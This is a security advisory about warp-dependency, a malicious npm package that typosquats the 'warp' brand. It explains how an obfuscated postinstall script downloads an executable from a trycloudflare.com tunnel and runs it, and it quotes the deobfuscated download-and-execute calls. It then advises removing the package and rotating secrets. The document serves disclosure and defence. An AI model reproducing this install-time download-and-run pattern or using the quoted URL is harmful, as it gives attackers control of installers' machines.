## What is MAL-2026-5724?

MAL-2026-5724 is a malicious package in warp-dependency, published on 13 Jun 2026. 

### Official description

warp-dependency@1.0.0 declares `postinstall: node index.js` in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (`_0x345c`/`_0x1de1`) that hides the download URL, target filename, and the require targets (`fs-extra`, `node-fetch`, `child_process`). When deobfuscated, the top-level code performs `downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe')` followed by `child_process.exec('bss.exe',...)`, writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every `npm install warp-dependency` silently runs attacker-controlled native code on the installer's machine.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5724?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
